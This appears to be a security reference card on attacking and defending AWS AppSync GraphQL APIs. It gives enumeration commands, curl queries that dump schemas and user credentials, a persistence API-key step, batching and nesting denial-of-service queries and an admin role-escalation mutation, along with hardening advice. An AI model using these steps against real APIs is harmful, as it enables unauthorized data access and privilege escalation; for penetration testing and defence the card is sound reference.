AWS AppSync is a managed GraphQL service that connects applications to data sources including DynamoDB, Lambda, HTTP endpoints, and RDS. It provides real-time subscriptions and offline sync. Attackers exploit GraphQL introspection, authorization flaws, and resolver misconfigurations.
AppSync APIs define a GraphQL schema with types, queries, mutations, and subscriptions. Resolvers connect schema fields to data sources. VTL (Velocity Template Language) or JavaScript resolvers transform requests and responses.
Attack note: Introspection reveals the complete API schema - all types, fields, and operations available
AppSync supports API Key, Cognito User Pools, OIDC, IAM, and Lambda authorizers. Multiple auth types can be enabled simultaneously. Field-level authorization controls access to specific schema elements.
Attack note: API keys in client code or misconfigured Cognito pools allow unauthorized API access
AppSync APIs often expose sensitive business data through GraphQL. Introspection reveals the complete API surface, resolver misconfigurations enable data access bypass, and compromised API keys or auth tokens provide full query capabilities.
aws appsync list-graphql-apisaws appsync get-graphql-api \
--api-id abc123def456aws appsync list-api-keys \
--api-id abc123def456aws appsync get-introspection-schema \
--api-id abc123def456 \
--format SDL \
schema.graphqlaws appsync list-data-sources \
--api-id abc123def456First Step: Always run introspection query first - it reveals the complete attack surface.
curl -X POST \
-H "x-api-key: da2-xxxxxxxxxxxx" \
-H "Content-Type: application/json" \
-d '{"query":"query { __schema { types { name fields { name } } } }"}' \
https://xxxxxx.appsync-api.us-east-1.amazonaws.com/graphqlcurl -X POST \
-H "x-api-key: da2-xxxx" \
-d '{"query":"query { listUsers { items { id email password } } }"}' \
https://xxx.appsync-api.us-east-1.amazonaws.com/graphqlaws appsync create-api-key \
--api-id abc123 \
--description "backup-key" \
--expires $(date -d "+365 days" +%s)aws appsync get-introspection-schema \
--api-id abc123 \
--format SDL \
schema.graphqlaws appsync list-resolvers \
--api-id abc123 \
--type-name Queryaws appsync get-resolver \
--api-id abc123 \
--type-name Query \
--field-name getUserquery IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
name
fields {
name
args { name type { name } }
type { name }
}
}
}
}query {
user1: getUser(id: "1") { name email }
user2: getUser(id: "2") { name email }
user3: getUser(id: "3") { name email }
# ... repeat 100+ times
}query {
user(id: "1") {
posts {
comments {
author {
posts {
comments {
author { name }
}
}
}
}
}
}
}mutation {
updateUser(id: "other-user-id", input: {
role: "admin"
}) {
id
role
}
}type Query {
getUser(id: ID!): User
listUsers: [User]
getSecrets: [Secret]
}No @auth directives - anyone with API access can query all data
type Query {
getUser(id: ID!): User @auth(rules: [{allow: owner}])
listUsers: [User] @auth(rules: [{allow: groups, groups: ["Admin"]}])
}
type Secret @auth(rules: [{allow: private}]) {
id: ID!
value: String!
}Field and type-level authorization restricts access
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "dynamodb:*",
"Resource": "*"
}]
}Resolver IAM role can access any DynamoDB table
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["dynamodb:GetItem", "dynamodb:Query"],
"Resource": "arn:aws:dynamodb:us-east-1:*:table/Users",
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["${appsync:sub}"]
}
}
}]
}Resolver can only access current user's items
Turn off introspection queries to prevent schema discovery.
aws appsync update-graphql-api \
--api-id abc123 \
--introspection-config DISABLEDAdd @auth directives to all sensitive types and fields in schema.
type Secret @auth(rules: [
{allow: groups, groups: ["Admin"]}
]) { ... }Set short expiration (7 days) and rotate API keys regularly.
Prefer user-based auth (Cognito) or IAM for production APIs.
Use AWS WAF or custom Lambda authorizer to limit query complexity.
# WAF rule for query depth
# Block if nested levels > 5Log all GraphQL operations including field-level resolver execution.
--log-config fieldLogLevel=ALL,
excludeVerboseContent=falseAWS AppSync Security Card • Toc Consulting
Always obtain proper authorization before testing